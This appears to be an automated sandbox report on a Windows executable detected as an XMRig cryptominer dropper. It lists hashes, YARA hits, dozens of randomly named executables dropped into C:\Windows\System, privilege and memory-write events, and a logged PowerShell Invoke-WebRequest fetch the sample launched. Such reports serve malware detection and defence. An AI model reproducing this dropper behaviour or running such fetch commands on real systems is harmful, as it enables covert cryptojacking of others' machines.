xmrig | 2eea081ae68f0613765baa4642a00cfb759854e9329a41159496f79fd2ec4067

Analysis

max time kernel
150s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
04-06-2024 09:41

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe
Size

2.0MB
MD5

945cfaf0f5e0ab23f7070ae4f55207e5
SHA1

41e187d181552f99dc1e51e70c3f2d6db420c847
SHA256

2eea081ae68f0613765baa4642a00cfb759854e9329a41159496f79fd2ec4067
SHA512

da55fb1e8ed20f44d6f54965a633e4c7f7b23ed639c0e41f4da20e23743af41796bd17fdb5a9f6cff3db28393716c5c37810dde7ad656b024f49d19b805332c6
SSDEEP

49152:Lz071uv4BPMkibTIA5lCx7kvRWa4pXHafMx:NABp

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 46 IoCs

miner

resource	yara_rule
behavioral2/memory/1580-558-0x00007FF611090000-0x00007FF611482000-memory.dmp	xmrig
behavioral2/memory/5100-564-0x00007FF69CA10000-0x00007FF69CE02000-memory.dmp	xmrig
behavioral2/memory/2360-563-0x00007FF7E1620000-0x00007FF7E1A12000-memory.dmp	xmrig
behavioral2/memory/3728-562-0x00007FF664600000-0x00007FF6649F2000-memory.dmp	xmrig
behavioral2/memory/4116-561-0x00007FF7AD510000-0x00007FF7AD902000-memory.dmp	xmrig
behavioral2/memory/2600-560-0x00007FF6EAB60000-0x00007FF6EAF52000-memory.dmp	xmrig
behavioral2/memory/4360-559-0x00007FF661A80000-0x00007FF661E72000-memory.dmp	xmrig
behavioral2/memory/2236-557-0x00007FF628BB0000-0x00007FF628FA2000-memory.dmp	xmrig
behavioral2/memory/3268-556-0x00007FF6A6B50000-0x00007FF6A6F42000-memory.dmp	xmrig
behavioral2/memory/960-555-0x00007FF724160000-0x00007FF724552000-memory.dmp	xmrig
behavioral2/memory/3640-554-0x00007FF7EE750000-0x00007FF7EEB42000-memory.dmp	xmrig
behavioral2/memory/4376-548-0x00007FF635EE0000-0x00007FF6362D2000-memory.dmp	xmrig
behavioral2/memory/1576-478-0x00007FF657020000-0x00007FF657412000-memory.dmp	xmrig
behavioral2/memory/2088-474-0x00007FF71DF60000-0x00007FF71E352000-memory.dmp	xmrig
behavioral2/memory/4984-415-0x00007FF6C1990000-0x00007FF6C1D82000-memory.dmp	xmrig
behavioral2/memory/1200-413-0x00007FF775130000-0x00007FF775522000-memory.dmp	xmrig
behavioral2/memory/3028-368-0x00007FF6D8400000-0x00007FF6D87F2000-memory.dmp	xmrig
behavioral2/memory/4736-315-0x00007FF7F5D50000-0x00007FF7F6142000-memory.dmp	xmrig
behavioral2/memory/4340-270-0x00007FF7FC250000-0x00007FF7FC642000-memory.dmp	xmrig
behavioral2/memory/4892-269-0x00007FF7A9B90000-0x00007FF7A9F82000-memory.dmp	xmrig
behavioral2/memory/1696-248-0x00007FF69BF20000-0x00007FF69C312000-memory.dmp	xmrig
behavioral2/memory/3548-216-0x00007FF7BD990000-0x00007FF7BDD82000-memory.dmp	xmrig
behavioral2/memory/2708-172-0x00007FF622620000-0x00007FF622A12000-memory.dmp	xmrig
behavioral2/memory/1204-129-0x00007FF7A6380000-0x00007FF7A6772000-memory.dmp	xmrig
behavioral2/memory/1204-4810-0x00007FF7A6380000-0x00007FF7A6772000-memory.dmp	xmrig
behavioral2/memory/2708-4808-0x00007FF622620000-0x00007FF622A12000-memory.dmp	xmrig
behavioral2/memory/1696-4880-0x00007FF69BF20000-0x00007FF69C312000-memory.dmp	xmrig
behavioral2/memory/2360-4887-0x00007FF7E1620000-0x00007FF7E1A12000-memory.dmp	xmrig
behavioral2/memory/2088-4884-0x00007FF71DF60000-0x00007FF71E352000-memory.dmp	xmrig
behavioral2/memory/4892-4888-0x00007FF7A9B90000-0x00007FF7A9F82000-memory.dmp	xmrig
behavioral2/memory/4984-4899-0x00007FF6C1990000-0x00007FF6C1D82000-memory.dmp	xmrig
behavioral2/memory/1580-4905-0x00007FF611090000-0x00007FF611482000-memory.dmp	xmrig
behavioral2/memory/4340-4916-0x00007FF7FC250000-0x00007FF7FC642000-memory.dmp	xmrig
behavioral2/memory/4360-4950-0x00007FF661A80000-0x00007FF661E72000-memory.dmp	xmrig
behavioral2/memory/2600-4968-0x00007FF6EAB60000-0x00007FF6EAF52000-memory.dmp	xmrig
behavioral2/memory/4376-4947-0x00007FF635EE0000-0x00007FF6362D2000-memory.dmp	xmrig
behavioral2/memory/2236-4935-0x00007FF628BB0000-0x00007FF628FA2000-memory.dmp	xmrig
behavioral2/memory/3640-4934-0x00007FF7EE750000-0x00007FF7EEB42000-memory.dmp	xmrig
behavioral2/memory/5100-4930-0x00007FF69CA10000-0x00007FF69CE02000-memory.dmp	xmrig
behavioral2/memory/3028-4919-0x00007FF6D8400000-0x00007FF6D87F2000-memory.dmp	xmrig
behavioral2/memory/3268-4924-0x00007FF6A6B50000-0x00007FF6A6F42000-memory.dmp	xmrig
behavioral2/memory/1576-4913-0x00007FF657020000-0x00007FF657412000-memory.dmp	xmrig
behavioral2/memory/4116-4908-0x00007FF7AD510000-0x00007FF7AD902000-memory.dmp	xmrig
behavioral2/memory/1200-4890-0x00007FF775130000-0x00007FF775522000-memory.dmp	xmrig
behavioral2/memory/960-4895-0x00007FF724160000-0x00007FF724552000-memory.dmp	xmrig
behavioral2/memory/4736-4848-0x00007FF7F5D50000-0x00007FF7F6142000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
3800	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
3728	SzfKOAG.exe
1204	YmPFJNO.exe
2708	tTBzChF.exe
3548	TUiZgeA.exe
1696	pdbuyVl.exe
4892	lErfGOc.exe
2360	TqVYFGf.exe
4340	GZXeGLl.exe
4736	mLYdWUH.exe
3028	QTrTcJh.exe
1200	znnwWxE.exe
4984	lPlgFLu.exe
2088	iTxuxyn.exe
5100	ppCocZg.exe
1576	VTXZjAd.exe
4376	LSVnKSK.exe
3640	NzVhfVL.exe
960	WymVuJx.exe
3268	cTxBNsx.exe
2236	JpWbzIS.exe
1580	dguTJuW.exe
4360	IiZtdEz.exe
2600	fsDRBBD.exe
4116	UcyJwyl.exe
544	sczqtLZ.exe
4860	IEqQqCN.exe
1400	wDfgREb.exe
2256	rrExwbo.exe
4520	OiJXPZy.exe
2492	qviRrwB.exe
4196	YkuEgaI.exe
1288	vVPJMFZ.exe
2444	RchrxJL.exe
3768	NMlxpJk.exe
3760	cjIYsMR.exe
3864	ULKWSDm.exe
4612	yreYAdN.exe
3260	CaSkqOe.exe
3616	GGzJKBC.exe
460	nreoWTD.exe
3368	taGYoFN.exe
4188	owCjjoA.exe
3580	GqZEHBK.exe
4440	fjnJbds.exe
4132	rSqsWeS.exe
3560	ERqMJWE.exe
3668	TphVXPS.exe
2176	yuLKWof.exe
2352	vWKGxka.exe
3288	mLSJKxe.exe
1192	NVNqTqf.exe
4636	OnFvZkb.exe
116	DzGISxS.exe
528	GHpfwWJ.exe
1408	LUvIDUk.exe
4476	dWRGZFh.exe
3804	MFdrlxo.exe
4448	RqReqkO.exe
4468	JpwkpXq.exe
3984	gITNXXZ.exe
4648	BdUxunb.exe
1376	naILPfH.exe
3604	qbDRuvJ.exe
1612	bnkoEiE.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1820-0-0x00007FF643CD0000-0x00007FF6440C2000-memory.dmp	upx
behavioral2/files/0x0006000000023288-6.dat	upx
behavioral2/files/0x0009000000023407-11.dat	upx
behavioral2/files/0x000700000002341f-14.dat	upx
behavioral2/files/0x0007000000023420-36.dat	upx
behavioral2/files/0x0007000000023427-50.dat	upx
behavioral2/files/0x000700000002342a-93.dat	upx
behavioral2/files/0x000700000002343d-166.dat	upx
behavioral2/memory/1580-558-0x00007FF611090000-0x00007FF611482000-memory.dmp	upx
behavioral2/memory/5100-564-0x00007FF69CA10000-0x00007FF69CE02000-memory.dmp	upx
behavioral2/memory/2360-563-0x00007FF7E1620000-0x00007FF7E1A12000-memory.dmp	upx
behavioral2/memory/3728-562-0x00007FF664600000-0x00007FF6649F2000-memory.dmp	upx
behavioral2/memory/4116-561-0x00007FF7AD510000-0x00007FF7AD902000-memory.dmp	upx
behavioral2/memory/2600-560-0x00007FF6EAB60000-0x00007FF6EAF52000-memory.dmp	upx
behavioral2/memory/4360-559-0x00007FF661A80000-0x00007FF661E72000-memory.dmp	upx
behavioral2/memory/2236-557-0x00007FF628BB0000-0x00007FF628FA2000-memory.dmp	upx
behavioral2/memory/3268-556-0x00007FF6A6B50000-0x00007FF6A6F42000-memory.dmp	upx
behavioral2/memory/960-555-0x00007FF724160000-0x00007FF724552000-memory.dmp	upx
behavioral2/memory/3640-554-0x00007FF7EE750000-0x00007FF7EEB42000-memory.dmp	upx
behavioral2/memory/4376-548-0x00007FF635EE0000-0x00007FF6362D2000-memory.dmp	upx
behavioral2/memory/1576-478-0x00007FF657020000-0x00007FF657412000-memory.dmp	upx
behavioral2/memory/2088-474-0x00007FF71DF60000-0x00007FF71E352000-memory.dmp	upx
behavioral2/memory/4984-415-0x00007FF6C1990000-0x00007FF6C1D82000-memory.dmp	upx
behavioral2/memory/1200-413-0x00007FF775130000-0x00007FF775522000-memory.dmp	upx
behavioral2/memory/3028-368-0x00007FF6D8400000-0x00007FF6D87F2000-memory.dmp	upx
behavioral2/memory/4736-315-0x00007FF7F5D50000-0x00007FF7F6142000-memory.dmp	upx
behavioral2/memory/4340-270-0x00007FF7FC250000-0x00007FF7FC642000-memory.dmp	upx
behavioral2/memory/4892-269-0x00007FF7A9B90000-0x00007FF7A9F82000-memory.dmp	upx
behavioral2/memory/1696-248-0x00007FF69BF20000-0x00007FF69C312000-memory.dmp	upx
behavioral2/files/0x000700000002343c-201.dat	upx
behavioral2/files/0x000700000002343b-199.dat	upx
behavioral2/files/0x0007000000023443-196.dat	upx
behavioral2/files/0x0007000000023442-194.dat	upx
behavioral2/files/0x0007000000023441-191.dat	upx
behavioral2/files/0x0007000000023439-187.dat	upx
behavioral2/files/0x000700000002342d-182.dat	upx
behavioral2/files/0x0007000000023440-181.dat	upx
behavioral2/memory/3548-216-0x00007FF7BD990000-0x00007FF7BDD82000-memory.dmp	upx
behavioral2/files/0x000700000002343f-176.dat	upx
behavioral2/files/0x0008000000023433-165.dat	upx
behavioral2/files/0x0008000000023434-164.dat	upx
behavioral2/files/0x0007000000023432-202.dat	upx
behavioral2/files/0x0007000000023444-197.dat	upx
behavioral2/files/0x0007000000023430-156.dat	upx
behavioral2/files/0x000700000002342f-153.dat	upx
behavioral2/files/0x000700000002343a-150.dat	upx
behavioral2/files/0x0007000000023438-148.dat	upx
behavioral2/files/0x0007000000023437-145.dat	upx
behavioral2/files/0x000700000002342b-136.dat	upx
behavioral2/memory/2708-172-0x00007FF622620000-0x00007FF622A12000-memory.dmp	upx
behavioral2/files/0x0007000000023436-130.dat	upx
behavioral2/files/0x0007000000023435-125.dat	upx
behavioral2/files/0x0007000000023431-118.dat	upx
behavioral2/files/0x000700000002342e-110.dat	upx
behavioral2/files/0x0007000000023429-106.dat	upx
behavioral2/files/0x0007000000023428-99.dat	upx
behavioral2/files/0x0007000000023425-141.dat	upx
behavioral2/files/0x000700000002342c-98.dat	upx
behavioral2/files/0x0007000000023424-97.dat	upx
behavioral2/memory/1204-129-0x00007FF7A6380000-0x00007FF7A6772000-memory.dmp	upx
behavioral2/files/0x0007000000023426-72.dat	upx
behavioral2/files/0x0007000000023423-61.dat	upx
behavioral2/files/0x0007000000023422-55.dat	upx
behavioral2/files/0x0007000000023421-45.dat	upx

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\kyFZrYT.exe	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe
File created	C:\Windows\System\JLsrhjl.exe	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe
File created	C:\Windows\System\Muttqzl.exe	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe
File created	C:\Windows\System\HzeIZRu.exe	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe
File created	C:\Windows\System\UuATmbu.exe	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe
File created	C:\Windows\System\UVrOSis.exe	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe
File created	C:\Windows\System\kUCCLVn.exe	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe
File created	C:\Windows\System\XQjiyif.exe	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe
File created	C:\Windows\System\fJiYkdG.exe	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe
File created	C:\Windows\System\zprsBlF.exe	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe
File created	C:\Windows\System\UivJkcf.exe	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe
File created	C:\Windows\System\IfYQkPb.exe	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe
File created	C:\Windows\System\qCwaqbj.exe	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe
File created	C:\Windows\System\TCZMVST.exe	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe
File created	C:\Windows\System\DRztHve.exe	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe
File created	C:\Windows\System\nKHXvAP.exe	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe
File created	C:\Windows\System\zpXsTUU.exe	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe
File created	C:\Windows\System\OmAyqtr.exe	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe
File created	C:\Windows\System\fREUBcR.exe	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe
File created	C:\Windows\System\bkJUlkC.exe	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe
File created	C:\Windows\System\aZfutno.exe	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe
File created	C:\Windows\System\WXSmuNE.exe	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe
File created	C:\Windows\System\zwgxmEu.exe	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe
File created	C:\Windows\System\vtDlZqZ.exe	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe
File created	C:\Windows\System\nqOGecS.exe	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe
File created	C:\Windows\System\wSMPtyn.exe	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe
File created	C:\Windows\System\NcjHqCg.exe	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe
File created	C:\Windows\System\KUDPJUA.exe	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe
File created	C:\Windows\System\qAvYvhX.exe	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe
File created	C:\Windows\System\snPTiuc.exe	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe
File created	C:\Windows\System\rsivQPT.exe	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe
File created	C:\Windows\System\PbbayUv.exe	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe
File created	C:\Windows\System\zQfNhUV.exe	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe
File created	C:\Windows\System\ATXForc.exe	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe
File created	C:\Windows\System\bjQJzBh.exe	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe
File created	C:\Windows\System\NvzAnOI.exe	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe
File created	C:\Windows\System\puFRbtq.exe	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe
File created	C:\Windows\System\pEMJfxJ.exe	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe
File created	C:\Windows\System\trdlYEO.exe	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe
File created	C:\Windows\System\JVaNfVM.exe	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe
File created	C:\Windows\System\qfvkUje.exe	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe
File created	C:\Windows\System\vkLldEM.exe	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe
File created	C:\Windows\System\QfILgYE.exe	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe
File created	C:\Windows\System\qlskuQw.exe	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe
File created	C:\Windows\System\DyiUGPV.exe	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe
File created	C:\Windows\System\GFqmtzs.exe	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe
File created	C:\Windows\System\ogwvUpj.exe	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe
File created	C:\Windows\System\amuoKJt.exe	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe
File created	C:\Windows\System\IkdBNSr.exe	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe
File created	C:\Windows\System\sPQGOts.exe	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe
File created	C:\Windows\System\tPhBhFx.exe	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe
File created	C:\Windows\System\JPDpmVL.exe	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe
File created	C:\Windows\System\xYtbipH.exe	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe
File created	C:\Windows\System\yptMqLp.exe	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe
File created	C:\Windows\System\TrVFQQA.exe	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe
File created	C:\Windows\System\QKmfRgH.exe	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe
File created	C:\Windows\System\ognfpen.exe	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe
File created	C:\Windows\System\KyJCeIc.exe	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe
File created	C:\Windows\System\hCtMPTk.exe	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe
File created	C:\Windows\System\YMdUdDV.exe	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe
File created	C:\Windows\System\mIekxQe.exe	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe
File created	C:\Windows\System\XQxfRzi.exe	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe
File created	C:\Windows\System\SnMYtxG.exe	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe
File created	C:\Windows\System\VBgTRLu.exe	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
3800	powershell.exe
3800	powershell.exe
3800	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	1820	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe
Token: SeLockMemoryPrivilege	1820	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe
Token: SeDebugPrivilege	3800	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1820 wrote to memory of 3800	1820	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe	83
PID 1820 wrote to memory of 3800	1820	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe	83
PID 1820 wrote to memory of 3728	1820	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe	84
PID 1820 wrote to memory of 3728	1820	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe	84
PID 1820 wrote to memory of 1204	1820	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe	85
PID 1820 wrote to memory of 1204	1820	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe	85
PID 1820 wrote to memory of 2708	1820	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe	86
PID 1820 wrote to memory of 2708	1820	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe	86
PID 1820 wrote to memory of 3548	1820	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe	87
PID 1820 wrote to memory of 3548	1820	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe	87
PID 1820 wrote to memory of 1696	1820	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe	88
PID 1820 wrote to memory of 1696	1820	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe	88
PID 1820 wrote to memory of 4892	1820	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe	89
PID 1820 wrote to memory of 4892	1820	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe	89
PID 1820 wrote to memory of 2360	1820	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe	90
PID 1820 wrote to memory of 2360	1820	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe	90
PID 1820 wrote to memory of 4340	1820	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe	91
PID 1820 wrote to memory of 4340	1820	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe	91
PID 1820 wrote to memory of 3028	1820	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe	92
PID 1820 wrote to memory of 3028	1820	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe	92
PID 1820 wrote to memory of 2088	1820	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe	93
PID 1820 wrote to memory of 2088	1820	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe	93
PID 1820 wrote to memory of 4736	1820	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe	94
PID 1820 wrote to memory of 4736	1820	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe	94
PID 1820 wrote to memory of 1200	1820	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe	95
PID 1820 wrote to memory of 1200	1820	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe	95
PID 1820 wrote to memory of 4984	1820	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe	96
PID 1820 wrote to memory of 4984	1820	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe	96
PID 1820 wrote to memory of 5100	1820	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe	97
PID 1820 wrote to memory of 5100	1820	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe	97
PID 1820 wrote to memory of 1576	1820	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe	98
PID 1820 wrote to memory of 1576	1820	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe	98
PID 1820 wrote to memory of 4376	1820	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe	99
PID 1820 wrote to memory of 4376	1820	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe	99
PID 1820 wrote to memory of 3640	1820	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe	100
PID 1820 wrote to memory of 3640	1820	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe	100
PID 1820 wrote to memory of 960	1820	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe	101
PID 1820 wrote to memory of 960	1820	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe	101
PID 1820 wrote to memory of 3268	1820	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe	102
PID 1820 wrote to memory of 3268	1820	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe	102
PID 1820 wrote to memory of 2236	1820	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe	103
PID 1820 wrote to memory of 2236	1820	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe	103
PID 1820 wrote to memory of 1580	1820	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe	104
PID 1820 wrote to memory of 1580	1820	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe	104
PID 1820 wrote to memory of 4360	1820	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe	105
PID 1820 wrote to memory of 4360	1820	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe	105
PID 1820 wrote to memory of 2600	1820	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe	106
PID 1820 wrote to memory of 2600	1820	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe	106
PID 1820 wrote to memory of 4116	1820	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe	107
PID 1820 wrote to memory of 4116	1820	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe	107
PID 1820 wrote to memory of 544	1820	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe	108
PID 1820 wrote to memory of 544	1820	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe	108
PID 1820 wrote to memory of 4860	1820	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe	109
PID 1820 wrote to memory of 4860	1820	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe	109
PID 1820 wrote to memory of 1400	1820	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe	110
PID 1820 wrote to memory of 1400	1820	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe	110
PID 1820 wrote to memory of 2256	1820	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe	111
PID 1820 wrote to memory of 2256	1820	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe	111
PID 1820 wrote to memory of 4520	1820	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe	112
PID 1820 wrote to memory of 4520	1820	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe	112
PID 1820 wrote to memory of 3616	1820	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe	113
PID 1820 wrote to memory of 3616	1820	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe	113
PID 1820 wrote to memory of 2492	1820	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe	114
PID 1820 wrote to memory of 2492	1820	945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe	114

C:\Users\Admin\AppData\Local\Temp\945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\945cfaf0f5e0ab23f7070ae4f55207e5_JaffaCakes118.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1820
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3800
- C:\Windows\System\SzfKOAG.exe
  C:\Windows\System\SzfKOAG.exe
  2⤵
  - Executes dropped EXE
  PID:3728
- C:\Windows\System\YmPFJNO.exe
  C:\Windows\System\YmPFJNO.exe
  2⤵
  - Executes dropped EXE
  PID:1204
- C:\Windows\System\tTBzChF.exe
  C:\Windows\System\tTBzChF.exe
  2⤵
  - Executes dropped EXE
  PID:2708
- C:\Windows\System\TUiZgeA.exe
  C:\Windows\System\TUiZgeA.exe
  2⤵
  - Executes dropped EXE
  PID:3548
- C:\Windows\System\pdbuyVl.exe
  C:\Windows\System\pdbuyVl.exe
  2⤵
  - Executes dropped EXE
  PID:1696
- C:\Windows\System\lErfGOc.exe
  C:\Windows\System\lErfGOc.exe
  2⤵
  - Executes dropped EXE
  PID:4892
- C:\Windows\System\TqVYFGf.exe
  C:\Windows\System\TqVYFGf.exe
  2⤵
  - Executes dropped EXE
  PID:2360
- C:\Windows\System\GZXeGLl.exe
  C:\Windows\System\GZXeGLl.exe
  2⤵
  - Executes dropped EXE
  PID:4340
- C:\Windows\System\QTrTcJh.exe
  C:\Windows\System\QTrTcJh.exe
  2⤵
  - Executes dropped EXE
  PID:3028
- C:\Windows\System\iTxuxyn.exe
  C:\Windows\System\iTxuxyn.exe
  2⤵
  - Executes dropped EXE
  PID:2088
- C:\Windows\System\mLYdWUH.exe
  C:\Windows\System\mLYdWUH.exe
  2⤵
  - Executes dropped EXE
  PID:4736
